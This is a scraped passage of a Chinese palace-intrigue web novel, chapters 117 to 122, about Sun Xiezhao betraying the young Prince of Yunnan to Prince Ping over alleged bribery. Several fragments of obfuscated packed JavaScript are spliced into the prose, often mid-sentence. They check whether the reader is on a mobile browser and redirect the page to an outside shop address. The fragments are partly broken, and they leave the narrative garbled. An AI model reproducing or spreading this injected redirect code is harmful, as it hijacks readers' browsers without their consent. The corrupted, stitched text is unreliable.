她面色凝重,言语躲闪:“连日子都没定下,此刻思索这些岂非太过着急了?慢慢来吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017331|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孙协兆终于是察觉到不对,却未张扬,只沉声一句:“好,都听青青的。” 若是提起婚礼,即便是婚期未定,徐青青也能提出许多要求来,今日这般反常想来是对还未定下的婚事没了期待。 孙协兆垂眸便是光洁白嫩的后背,心底不禁泛起最原始的欲望。 他将女子打横抱起,勾起一抹邪笑,就往床榻走去:“青青,许久未见,你可想我了?” 徐青青娇嗔地靠在他的胸前:“每每都是如此,今日可能整些新花样瞧瞧?” 孙协兆只笑着,将人轻轻放在榻上,灭了烛火放下幔帐,又是一室旖旎。 约莫半个时辰,两人大汗淋漓相拥而眠。 黑暗中,孙协兆睁开眸子,眼底冰冷:“青青,你睡下了吗?” 徐青青嘤咛一声,累地不愿开口。 “你说,若是我们有了孩儿,会像你多些还是像我多些。” 孙协兆没由来的话激的徐青青顿时清醒过来,面上是一闪而过的惊恐。 她每每都要喝下避子汤药,便是为了没有血脉牵连。大事未成,怎地就将终身随意托付。 “孙郎,你今日这是怎么了?怎得不住地想着还未发生的事?” 孙协兆将人抱紧几分,满是情深:“情深所致。你我有情,却漂泊许久,如今好不容易有了机会可以喜结连理,难道你不想早日与我修成正果吗?” 他将话语说得如此直白,也是为了试探徐青青的心意。 两年来的朝朝暮暮,他对徐青青自然是有真心在,但她背后的平王府和嫁妆才是最要紧的。 徐青青沉默片刻,轻叹一声:“自然想与孙郎执子之手,可有时世事无常便是如此。” “我还未说服父亲同意婚事,你且再等等。待父亲消了气,对你没了芥蒂,我会与父亲好好言说的,可好?” 孙协兆心中有了答案,没再追问,只将被子掖了掖。 “你也累了,早些休息吧。”他理了理徐青青汗湿的发丝,“我再陪你一会就走,睡吧。” 第一百一十七章 只得出此下策 翌日。 孙协兆算着时辰,蛰伏在平王下朝的必经之路。他已提前在此勘察,小云南王断不会出现在此。 果然,约莫过了一个时辰,平王身着墨色金丝朝服驾马出现在街头。 “平王殿下!小的有要事求见!” 瞅准时机,孙协兆咬牙冲了过去,双臂张开挡住了平王去路。 平王大惊失色,连忙勒紧缰绳。 马儿仰天嘶吼,前蹄落下时只与孙协兆隔了半步距离。 惊险过后,男人双腿发软顺势跪下,低垂着头不叫旁人瞧清他的样貌:“平王殿下,请您给一个能够与您说话机会。” 平王面色难堪,半眯眸子打量着眼前伏在地上的男人。他身着暗色长衫,料子虽不是最上等,却也不是寻常百姓用的起的,想来也是个有身份的。 “见你有几分胆识,便随本王来吧。” 平王思忖片刻,并未拒绝。 孙协兆连忙道谢,遮遮掩掩的跟在骏马之后。 平王府。 入目牌匾是几个鎏金大字,光泽有度许是真金白银。 进门是一道丈宽大理石宽道,一侧凉亭一侧花园,院前有小桥流水,清雅别致。 坐过三道院子,孙协兆才被带进平王的书房。 书房瞧着低调许多,但所到之处均是价值不菲,满墙的瓷器,光上等的青花瓷就有数个。 就连普通的椅子也是用得上等的沉香木,不仅温润更是有股淡香。 等了许久,换了身墨蓝色长袍的平王大步走了进来。 孙协兆连忙起身行礼,态度恭敬:“今日惊扰了王爷,实属罪过。但我实在是寻不到门路与王爷相见,只得出此下策。” 平王瞥他一眼,面上阴沉,坐在主位一言不发。 诡异的沉默叫孙协兆胆战心惊,只得硬着头皮继续开口:“王爷瞧我应当是不眼生的,也该知晓我与小云南王的关系并不寻常。今日贸然前来,便也是有求于王爷。” 平王这才有所反应,端起茶盏漫不经心抿了一口:“你又能为本王做些什么呢?” 他自然知晓孙协兆是沈云祉的人,这才在徐青青与之往来时睁一只眼闭一只眼。 安阳侯府已不似当年,唯一的用处便就是与小云南王亲近了。 孙协兆向平王靠近几步,道:“王爷,若您需要,我可以为您做任何事情。有了小云南王的名号,行事还算便利。” 平王垂眸思索,眼下倒是正有个事情他这身份再妥当不过。既然沈云祉自视清高,他便要让他跌入泥潭。 “本王不是小儿,懂得无利不起早的道理。你今日望着如此险境来见本王,又是为了什么呢?” 平王终于抬眼看他,眼中几分警惕。沈云祉阴险狡诈,他不敢确定这是不是他的一步险棋。 孙协兆顿时眸子一亮,再又跪下,情深意切:“平王殿下,属下对青青情根深种,这些年来对她亦是不曾有半点二心。属下知晓自己是和离之身,安阳侯府又不似当年繁华,与青青在一处实在高攀。” “所幸青青也心悦属下,实乃两情相悦心意相通。眼下属下已是自由之身,便想向王爷您提亲,求娶青青!还望王爷成全!” 孙协兆虔诚磕头,垂头的片刻眼中却闪过一道精光。 既然徐青青支支吾吾,他便只能自己想法子了。若是不抓住这个平王郡主,他又去何处再找一个高门贵女神情,让安阳侯府翻身? 徐青青虽是平王血脉,但母亲到底是低贱的丫头,这样的身份平王不会看不上如今的安阳侯府。 至于嫁妆,到底是唯一的骨血,婚礼当日也是盯着平王府的名号,自然不会太难看。 平王唇角勾起一抹笑意,抬手让他起身:“难得你有这份深情。只是青青乃本王唯一的骨血,自然不能随意嫁于你。” “不过,若是你能帮本王将事情做得漂亮干净,本王瞧见了你的诚意和能力,自然会心甘情愿的将青青嫁给你。” 孙协兆连忙称谢,缓步走到平王身侧,压低音量:“属下今日并非空手而来,而是带啦了投名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017332|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状。” 看着男人眼中的狡黠和阴森,平王笑得更甚,示意他继续言说。 “此事便是关于小云南王的。小王爷虽然在京中没有官职,但到底身份尊贵,行事便利。” “离着京城不愿的泽熙镇新上任了一个府尹,此人并无真才实学,能坐到如今的位置皆是靠着家中的万贯家财。” “买官一笔钱财,贿赂上方官员又是一笔钱财,这其中似乎还有小云南王的手笔。只是究竟到了此处是多少银两,属下还未摸清。” 语毕,平王的眉头终是展开,笑着称赞孙协兆年轻有为。 沈云祉啊沈云祉,没成想你模样清风霁月,竟然还敢沾染这样的脏事,还真是年轻气盛! 只可惜自古英雄难过美人关,不成想他这便宜女儿还有这样的作用。此事若真能办成,徐青青也算立了大功。 届时再与王妃商议将人收作义女嫁入安阳侯府,不在府中住着碍眼,想来不是难事。 平王仍旧谨慎:“好,你敢确保此事当真?” 孙协兆眼 眸坚定,笃定地点了点:“千真万确!此事属下亲耳听见小云南王与身边亲信交谈。若是银子还未花完,此刻定有证据藏在驿站的地库里!” 平王再度思索,贸然行事自然不妥。若这是沈云祉的一道计策,冲动行事必然正中下怀。 不过孙协兆说的有板有眼,未尝不可信任。 “好,你先回去,此事本王自有定夺。” 三思之后,平王仍然觉得得将事情打探清楚,万事俱备才可引这东风。 孙协兆走后,平王就将贴身侍卫唤了进来。 “你派几个信得过的人去一趟泽熙镇,瞧瞧那处是否是个新上任的府尹。记得将此人的来历都查清楚。” “再派几个潜入小云南王入住的驿站地库,探一探是否有成箱的白银。” 将这一切打点妥当,平王难掩笑意在屋内踱步。 若此事当真成了,沈云祉难逃牢狱之灾,那这天下岂不是唾手可得? 第一百一十八章 唯一的皇后 平王的动作极快,当夜手下的人就分别到了泽熙镇与沈云祉所在的驿站。 泽熙镇虽是京城周遭小城,却并不繁华,更像是个小村落。 连排的屋子多是简陋的茅草屋,来往新人大多扛着锄头,身着麻衣,一副要下地谋生的样子。 侍卫穿着军甲出现在此,倒是有几分突兀。 不过这样的小地方打听起消息来倒是迅速,三言两语见就将这新来的府尹调查了干净。 原来这人换作周金安,乃京城人士。前些日子忽然到此任职,却也未见做何实事,倒是先将府尹府第修缮了一番,听闻花了不少银子。 那头,夜探驿站的暗卫并未花什么功夫就摸到了地库,又趁着月半换班之际顺利混了进去。 地库漆黑一片,借着缝隙渗进来月光隐约能瞧见墙上的烛火被人剪去了灯芯。 侍卫不曾忘却自己的使命,转头继续搜寻。 地库里弥漫干燥的枯草味道,杂乱的陈设叫人摸不清眼前的路,只能用手丈量摸索着眼前的小道。 侍卫在地库内七拐八拐,终于是在一处阴暗的角落里瞧见了一个用破布遮掩的奇怪箱子。 借着月光,侍卫小心翼翼地将破布掀开,入目的竟是一方朱红的木箱。 这箱子一瞧便不是寻常木材制成,在这气味单一的地库里显得尤为特别。 侍卫小心地将木箱打开,赫然整齐地摆放这几排银子,这银两并不齐全,已叫人拨去一般。 雪白的花银在静谧月光的映射下尤为熠熠生辉。 见此光景,侍卫不敢怠慢,连夜将所见所闻禀告给了平王。 平王府。 天色微微亮,屋内的冰块融化了大半,只余下微薄的凉意。 平王妃略感闷热,睡得并无安稳。她辗转反侧,翻过身来却只触摸到早已凉透的另一侧。 “王爷?您今日如何起得如此之早?”平王妃睡眼惺忪,缓缓撑起身子。 只见平王正坐在书案之前,手中拿着一份信件喜笑颜开。 平王妃顿时警觉起来,睡意去了大半,表情隐隐不悦:“王爷,您这样清早是在瞧什么?” 平王喜悦正浓,忽闻耳边传来声响,这才不情不愿地抬起头来。 “王妃,本王方才收到一个天大的好消息!”平王快步走到塌边,将王妃白嫩的柔夷握在手心,“此事若成,这天下便是平王府的,你自然是我唯一的皇后。” “王爷慎言。”平王妃大惊失色,连忙瞧了眼四周窗棂,“这样大逆不道的话,在房中说说便罢,可莫要在旁面前炫耀。” 虽是这样说着,但平王妃却对那份信愈发好奇。若那只是寻常信件,王爷断不会说出如此唐突的话来。 “那信究竟是何神圣,竟叫您如此胜券在握,莫非是小云南王的把柄?” 平王妃掩唇轻笑,虽为疑问,心中却十分笃定。 如今能叫平王如此喜笑颜开的便只有那高高在上的位置了。而这条路上最大的竞争对手就是沈云祉。 若是没有沈云祉,一切都会顺理成章。 没有人不会对权力动心,她一个深院女子也是如此。若是当真能母仪天下,谁又甘心只做皇亲国戚? 两人四目相对见,平王仰天大笑,一把将女子扯进自己怀中,连连称赞:“王妃当真是聪慧过人,一眼就瞧出了其中奥妙。” “本王昨日偶尔得知沈云祉并非面上那般淡泊名利,甚至沾染了买卖官职的勾当,如今已经叫本王找到证据了。” 平王将昨日之事一五一十地说予王妃听,却将孙协兆与徐青青之事藏匿起来。 虽说证据确凿,沈云祉被惩处失势指日可待,但尘埃未定,难恐不会生出变故。 平王妃面露惊喜,却未表露过多,只勾起唇角,眼波流转:“若是如此,王爷大业岂非将成?” “那是自然。饶是皇上再偏袒那黄毛小子,出了这样事他也休想再翻身!” 平王的笑意逐渐猖狂,更是挑起王妃的下巴,轻啄一口。 “如此,倒是了却了王爷的一桩心事。”平王妃顺势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017333|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环住他的颈脖,“不知妾身可否向王爷讨个赏呢?” 气氛逐渐暧昧,平王将人又抱紧几分,沙哑着声音明知故问:“不知王妃想要何赏赐?” 平王妃笑而不语,向后仰了仰身子:“近来大夫开的药膳似乎有些作用,王爷可要试试?” “能得王妃如此赞赏,想来有几分真本事,若非不加紧些,岂非辜负了良辰美景。” 说着,平王欺身而上,幔帐随即应声落下。 驿站。 天色大亮,沈云祉动了动眸子,出声唤人伺候。 今日他刻意挑了个低调的金枝发冠束发,着一身月白竹叶纹衣衫,低调却不失典雅。 早膳时分,双瑞快步而来半跪行礼:“王爷,昨夜有人夜探驿站地库。那人身手矫健,属下只在现场瞧出了零星痕迹。” 沈云祉沉了眸子,面上没有太多意外:“原是这样沉不住气。你且继续盯着,不能叫他空手而归,也不能叫他刨根见底。” 双瑞颔首,领命离开。 今日的天色阴沉, 苍穹之上团着一簇簇厚重的云层,日光隐于后,只有几缕阳光。 沈云祉微眯双眸凝视挤出云层照射大地的光亮,眼眶深邃不见底。 既然东西放在地库,他就知晓会有这样一天。只是这日子还是比他预想的快了一些。如此,那便要整装待发,与这“幕后黑手”好好周旋一番了。 用完早膳,沈云祉随双瑞去了一趟地库。 内里的陈设已稍加修整,墙上的烛台也换上了一批新的,唯独那朱红色的木箱还稳稳当当地安置在直棂窗下。 沈云祉俯身瞧了一眼木箱上被破开的封条,眼神示意双瑞将木箱打开。 双瑞抽出别在身侧的手套,使力将木箱掀开,炸开的粉尘在光亮下显得尤为显眼。 沈云祉下意识退后半步,摊开折扇遮住口鼻,倾身探头——木箱里头依旧是白晃晃的银钱,铺面而来的还有一股股淡淡的香气。 “再将他遮得掩饰些,银子继续转移。” 第一百一十九章 对她不管不顾 平王府。 巳时已至,天已大亮,只是今日天色阴沉,瞧不见明媚日光。 平王立于屏风之后,张开双臂以便丫鬟伺候更衣;王妃坐于梳妆镜前,执一把透亮的翡翠玉梳动作散漫地梳着发尾。 “如今皇上病重,早朝都已经免了数日,又何苦这个时辰进宫,用了午膳岂非更好?” 平王府着一身里衣起身,示意丫鬟离开,亲手替平王系上衣袋。 “话虽如此,但本王这心里总觉得不太安定,还在早些将此事禀告皇上,以免夜长梦多。”平王神情严肃,“沈云祉那小子消息向来灵通,或许此刻已经知晓地库叫人瞧过。” “他是个聪慧的,若是知晓事情败露,定然不会坐以待毙。是以再不抓紧些等他转移了证据,岂非前功尽弃?” 平王妃自然知晓其中利害,没再多加过问,只垂眸专心致志打理着手中衣衫。 “驿站那边妾身也会着人去盯着,若有变动第一时间便会知乎王爷。” 平王心中感动,将王妃的素手握在心间:“得此贤内助,本王真是修来的福分。” 平王妃只笑着,将人送离了厢房,又目送着离开院落。再转过身来,已是一副阴沉面容。 她缓步走回梳妆镜前坐下,看着铜镜中保养得当依旧年轻貌美的相貌,心中却无半点欢愉。 “你瞧,本王妃的眼角是不是长了细纹?” 冬儿心中一惊,招手让人端来燕窝递到桌边,道:“王妃说笑了,您依旧年轻貌美,又怎会有细纹一说?” “您先将这燕窝服下吧,今日叫人兑了些新鲜的牛乳,又缀了些养颜的蜜豆,最是补身子了。” 平王妃接过燕窝,却神色倦倦,不禁摸上平坦的小腹:“这些个补身子的药本王妃都不知吃了多少,怎地就还一点动静没有?” 她平日里虽然想要个自己的孩子,却不曾像今日这般动气。 若是沈云祉当真收了贿赂失去君心,平王自然是众望所归,她必定是唯一的后位。可一想到那辉煌光景,却怎么都提不起兴致。 平王膝下无子,唯一的血脉便是徐青青。若是当真有机会荣登大统,她的位置未必稳固。 冬儿也未想到平王妃会如此动怒,连忙跪地求情:“王妃息怒!有孕一事最是急不得的,大夫也一再说着,您不可过于焦急,怕是适得其反呐!” 平王妃合上眸子,沉默许久,将玉数递到身后:“都起来吧,替本王妃梳妆。” 冬儿松了口气,忙起身接过梳子,小心谨慎地为平王妃梳妆弄发。 “那个贱蹄子现在何处?还住在王爷安排的京城别院中?”平王妃望着铜镜中逐渐鲜明艳丽的面容,冷声询问。 徐青青虽然只是个成不了大事的女儿,但保不齐日后王爷心软,顾念血脉抬了她做公主也未尝不可。奈何这些年她独宠王府,可不是为了这便宜女儿坐收渔翁之利的。 冬儿一边动作轻柔地为王妃发髻添上簪子,一边点头答道:“是了。自从王府离开之后就被安排在了城中别院,拨了几个青衣丫鬟伺候。这些日子还算安分,不曾惹出什么事端。” “她倒是学乖了。”平王妃冷笑一声,“王爷呢?可曾去瞧过她?” 冬儿露出嘲讽笑意,将别院这几日的动向说了个明白:“莫说王爷,就连李嬷嬷都鲜少去送个什么东西。王爷看重王妃,您不喜欢的自然也不会多加在意,您只管放心就是。” “放心?”平王妃冷了神色,眼底几分怨恨:“王爷现在能对她不管不顾,不过是因着正值壮年。到底是亲生的,哪能割舍的那般干净。” 冬儿心领神会:“王妃的意思是?” “既然王爷不愿瞧她,本王妃这个做母亲的也该去探望一番才是。”平王妃勾起嘴角,眸底是掩饰不住的玩味。 要掌握的人到底还是放在自己眼皮子底得好。徐青青一心想成为郡主,难免不会在背后使手段,辱没了平王府的名声倒是得不偿失。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017334|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 皇宫。 平王赶到养心殿时,太监总管已经候在门外。 “奴才参见王爷!”总管跪下行礼,态度恭敬,“王爷,您今日真是来得不巧。皇上晨起的时候喝不进去药,叫了太医正在里头诊治呢,眼下怕是没功夫见您。” 平王思忖一瞬,半信半疑,难得谦和几句:“无碍,本王在此候着便是。” 太监总管有些为难,只得出言相劝:“王爷,只是这殿后熬着药呢,皇上服下后就要睡下了。这一等怕是不知道是什么时辰了,怕耽误您的功夫啊。” “皇上的身子自然要紧,但本王今日所要禀告一事亦是要紧。”平王干笑一声,言语强硬起来,“劳烦公公通报一声,若是皇上实在不愿相见,本王再回去也不迟。” “哎,奴才这就去。”总管实在无可奈何,只能折返回去。 平王却谨慎起来,疑心着可是沈云祉捷足先登此刻正在殿内,这才叫人来百般推脱。 片刻功夫,太监总管总管推门出来,躬身行礼:“平王殿下,皇上有请。” 平王冷脸而去,不忘瞪了太监一眼。疑心他在故意推脱,不怀好意。 进了养心殿,扑面而来的便是一股子药味。这味道积攒已久,实在叫人无法忽视。平王皱眉,虽总管进了内室。 皇上靠在榻上,气色瞧着缓和许多,手边还堆着不少折子,正凝神瞧着,不时用朱笔书评。 太医聚在一旁低声商讨,见平王进来,行了礼便退到殿外。 “微臣参见皇上,吾皇万岁。” “起来吧。怎地今日来了,莫要沾染了朕的病气才好。”皇上抬眸看他一眼,将奏折放到一边,将宫女太监都遣了出去。 平王起身,自顾自坐到一旁:“劳皇上挂心,微臣身强体壮,自然不怕。只是皇上您注意着身子才是,这养心殿都要成药罐子了。” 皇上轻笑一笑,早已习以为常:“确有好转。听闻你事态紧急,发生了何事?” 第一百二十章 做一个抉择 平王心中暗喜。皇上身子刚有好转,沈云祉便好巧不巧地出了这档子事,若是惊扰了龙体,又是罪加一等。 看来他当真是要时来运转了。 “皇上,此事确实紧急。”平王佯装为难,支支吾吾,“但此事牵扯颇深,微臣怕您听了会有损龙体啊!” 沉默片刻,太监总管端着一方食案进来,一碗是冒着热气的汤药,一碗是剥了核的蜜饯。 “皇上,这是太医院给您新配的房子,须得趁热服下。” “整日吃这苦药,身子也未见好转。”皇上端起汤药一饮而尽,低声念叨,“先下去吧。” “上一回召你们前来,倒是未来得及说。今日你既来了,有些话我便提前说于你听。”皇上在太监总管的搀扶下披了件外衫,“朝堂之上众说纷纭,却只有一件事说准了。” 平王提起精神,朝堂之上无非就是以他和沈云祉分为两批口舌之劳,各执一词争执不休。 今日忽地提起,难得要将太子人选公布? 皇上注意到他的紧张,却仍旧慢悠悠地开口:“朕虽然身子抱恙,不能日日早朝,但臣子们的说辞可都了然于心。” “他们说的不错,朕确实要在你与云南王之间做一个抉择。” 平王扯了嘴角,故作镇定:“事关社稷大事,微臣相信皇上心中只有公正定夺。” 既然今日已经挑明,那日后行事便要更加小心,万不能像沈云祉一样马失前蹄。只奈何他分明是皇上胞弟,却与一个封王相提并论。不过是因为他有子嗣。 “朕至今还不知该如何抉择,只觉得你们都有长处难以定夺,可这天下又只有一个。”皇上话语戛然而止,忽地侧眸,“平王,你以为如何?” 饶是面上不睦,平王也惊恐地站起身行礼:“臣乃局中人,实在不敢多言,一切听从皇上定夺便好。” “不必慌张。”皇上面色如常,瞧不出心中喜怒,“朕忽然想去御花园瞧瞧,你可愿相伴?” “那是自然。只是您的身子……”平王躬身,心中却有说不出的怪异。 皇上未再理会,只叫人进来更衣。 平王在殿外候着,思绪万千。今日皇上实在反常,甚至不顾两人不睦的事实,相邀一同赏花。难不成是他明白骨肉亲情何其重要,抑或是沈云祉已捷足先登,恶人先告状? 他一时看不清局面,只得静观其变。 御花园。 皇宫里的景致自然巧夺天工,繁花似锦好不热闹。 皇上在太监总管的搀扶下一步一步走着,眼中有几许动容:“朕病着这些日子倒是许久没能在皇宫中好好走动,没想到这花都开得如此旺盛了,真是叫人意外。” 平王百无聊赖地跟在身后,摸不清皇上到底意欲何为。他分明知晓自己是有要事进宫,却这样许多都不愿给个机会言说。 正想着,皇上忽然开口打断他的思绪:“如此就清净了。既然事态紧急,还是寻个没有耳目的地方好。” 入目的是一方凉亭,四周空旷,有皇上的随身护卫看守;再见亭中石桌,竟已摆好了茶具,一壶新茶正温着。 不等平王反应,皇上已率先落座。 太监总管为两人斟茶,安排妥当后也退到一旁。不大不小的凉亭便只有皇上与平王两人。 “知晓你今日前来,朕心中便有了定夺。”皇上沉声开口,将男人的意外尽收眼底,“能叫你平王特意进宫一趟,想必是与云南王有关。” 平王没有否认,心中明白了方才养心殿一番话的用意。 前朝意见不一,皇上自然不会随意定夺,他自有诸多考量,不曾刻意偏袒何人。说得那样许多,无非是在警告那些暗地里的手段。 只可惜,这话还是说错了人。 “微臣不敢欺瞒皇上,也不愿冤枉任何一人。”平王冷静开口,说出了事先早已准备妥当的话语,“只是事关朝廷官员的清正廉洁,微臣不得不来请示皇上意见。” 皇上蹙眉:“你且直言。” 他生平最是厌恶贪官污吏,故而登基之时将此行纳入国法。一旦触碰,便是革职查办,削官减爵,重则满门抄斩。不曾想重罚之下安生几年,又有人枉顾王法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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平王将昨日的信件呈上,三言两语间已将沈云祉定罪。 “既然如你所言此事牵扯颇多,那便不能如此草草了事,必定要再查得清楚些。” 皇上眉头紧锁将信件看了个大概,阴沉得面色好似狂风过境。 “来人!传朕口谕,命大理寺好生彻查!” 皇上怒极,将信捏作一团扔在地方。 众人一齐跪下惶恐不安,唯独平王勾起嘴角。 第一百二十一章 替人做嫁衣 是夜,莺儿伺候顾皎皎洗漱,想到今日客栈之事,便觉得大快人心! 莺儿一面往浴桶洒玫瑰花瓣,一边得意洋洋:“姑娘,今日真是痛快!只要想到他们今日吃瘪的模样,奴婢就忍不住要笑。” 顾皎皎嘴角也挂起笑意:“望他们借今日之事长个记性,莫要不知好歹地前来招惹。” 她早知晓安阳侯府不会善罢甘休,却不想老夫人为了些银子连孙府的脸面都不顾了,看来当真是倒了捉襟见肘的地步。 不过是自食恶果罢了。 莺儿撅起嘴:“姑娘真是好脾性,若是今日换作奴婢,须得报官将他们抓起来才叫好。” 一想到在安阳侯府他们为何对待顾皎皎,她便觉得千刀万剐都不为过。 顾皎皎玩心大起,挑起几滴水溅在莺儿脸上:“你只得记得今日的畅快便好,不必为了他们扰了自己的好心情。” 莺儿毫无防备,结结实实接住了这几滴温水。 “姑娘!”莺儿不恼,只抬头擦去面上水渍。 见顾皎皎这副俏皮模样,她亦心中欢喜。 过去两年安阳侯府吃人不吐骨头,将姑娘蹉跎成那般憔悴模样。 如今才是顾皎皎该有的意气风发。 翌日,第一楼。 顾皎皎一大清早便从顾府赶到第一楼。 刚进门就瞧见店内小二围在大门边窃窃私语。 “这是怎么了?” 顾皎皎拨开人群,却见门上印着密密麻麻的人影。 掌柜的回过神,简单作揖:“顾老板,今日怕是有的忙了。不过辰时,竟然就来了这样多人。” 顾皎皎心中大喜,倒影映在她眼中都成了白花花的银子。 可转念一想,又觉得事有蹊跷。 “第一楼并未安排新菜式,也未折价,如何忽然来了这样多人?” “我知晓!”人群一个小二高举右手挤到顾皎皎面前,“顾老板,他们都是为了杜大人的名号来的。” “杜大人昨日替您解围,很快便在京城传开了,大伙都知晓您与杜大人关系密切,杜大人又与小云南王交好,是以觉得能在第一楼谋个好前程呢!” 顾皎皎又惊又喜,心中倍感压力。 不知不觉间她竟欠了杜玉荣这样多的人情。 “罢了,先去准备吧。” 顾皎皎挥手将人散开,带着莺儿上了二楼。 这半日第一楼的活计都忙活地脚不沾地,顾皎皎拨动算盘的手腕发酸。 瞧着账上银子心里高兴,想起欠下的人情又一筹莫展。 午后的驿站最为静谧。 沈云祉孤身一人坐在凉亭对弈,细细品味着新得来的棋局。 风中难得夹杂着凉意,在竹亭中穿梭,颇有几分忙里偷闲。 双剑将第一楼的盛景尽数说与沈云祉听,随后又道:“小王爷,听着店内小二的口风,顾姑娘似乎觉得此事是杜大人的功劳。” 沈云祉顿时收起笑意:“本王出了这样大的力,竟然叫旁人做了嫁衣?” 他最是睚眦必报,即便是好友也不容分羹。 沈云祉理了衣衫,故作无意:“闲来无事,驿站无趣,本王觉得第一楼倒是个好去处。” 刚是迈出半步,就见双瑞穿过连廊而来:“小王爷,孙协兆又来了。” 沈云祉不禁蹙眉,侧眸瞧了眼矮几上的棋盘,若有所思。 终于,他坐回原处,示意双剑退下:“让他进来吧。” 孙协兆今日低调了许多,只在外头等着,得了召见才谨小慎微的跟着双瑞进了驿站。 他跟在沈云祉身侧许久,自然是知晓他的手段的。 昨日他拦下平王的动静不小,甚至来时的路上还听到了只言片语,小云南王若想深究,兴许很快就会查到他的头上。 “参见小王爷。”孙协兆恭敬行礼,卑微的等着起身的指令。 沈云祉却连半道眼神都不曾给,只专注着未解的棋局。 “你以为,本王待你如何?”沈云祉心里存了气,再见他这一脸谄媚,更是不悦。 孙协兆紧张地额角渗出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017336|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚汗,酷暑时节甚至脊背发凉。他扯出一抹笑意,镇静开口:“小王爷待我自然是极好的。若非有小王爷提点,我如今在朝堂的位置未必能如此稳当。” 孙协兆心中咯噔一下,暗中盘算着沈云祉发现自己行踪的几率如何。 依照他的性子,若是已经知晓自己与平王走得如此之近,怕是早已暗中动手,不会等到此刻。 想着,孙协兆又放心下来,只等着沈云祉的动作。 沈云祉沉声开口,不悦之意显而易见:“既然本王对你有恩,为何吩咐你的事情都办得如此不利索?” 孙协兆紧张地吞咽一下,脑中思绪万千:“还请小王爷明示,不知是何事未能叫您满意?” 这些日子他虽无甚殷勤,想借着沈云祉的面子和人脉成就一番大事,若是能一鸣惊人自然再好不过。 但不知是自己过于刻意,还是沈云祉太过防备,他不仅没能见识到太多大人物,甚至手中的差事都是轻微却麻烦的活计,办得他心中郁结。 是以他才在徐青青 态度敷衍后情急之下寻了平王做倚靠,也是为安阳侯府另谋一条生路。 “明示?”沈云祉冷笑一声,“那日本王命你去一趟泽熙镇,探查新上任的府尹府邸,你是如何应付的?” 孙协兆呼吸一滞,越发心虚。 泽熙镇虽算不得偏僻,却荒凉无比。镇中的大部分人都来到京城谋求生计,余下的都是走不远的老弱妇孺。 他不愿刻意跑着一遭,就在府里寻了个手脚利索的小厮前去打探。 发觉这府尹不对劲,自然也是这个小厮偷听来的消息。 孙协兆并未推脱,当即认下了这份敷衍:“万事都瞒不过小王爷的眼睛。那日我府中忽有要事,这才遣了旁人顶替。不过您大可放心,那人是我身边的,办事利索,可以信任。” 沈云祉沉默片刻,忽地轻笑出声:“协兆,你如何这副表情,好似本王会吃人一般。” 孙协兆面上的惧色还未来得及收起,眼前的男子态度早已更改,变幻莫测叫人捉摸不透。 第一百二十二章 毁了小王爷的清誉 “你瞧本王这脑子,怎地还叫你站着呢?”沈云祉故作意外,“快些坐下,一同欣赏本王新得的棋局。” “本王已在此处观摩半晌,却还是未能找到绝妙的破解之法,你来瞧瞧可有什么好法子?” 说着,沈云祉捏起一枚白子,递到孙协兆的眼前。 孙协兆干笑一声,不敢轻举妄动,只能推脱:“小王爷言重了,您的棋艺怕是只有杜大人能一决高下,我又如何能解开您都看不透的棋局呢?” 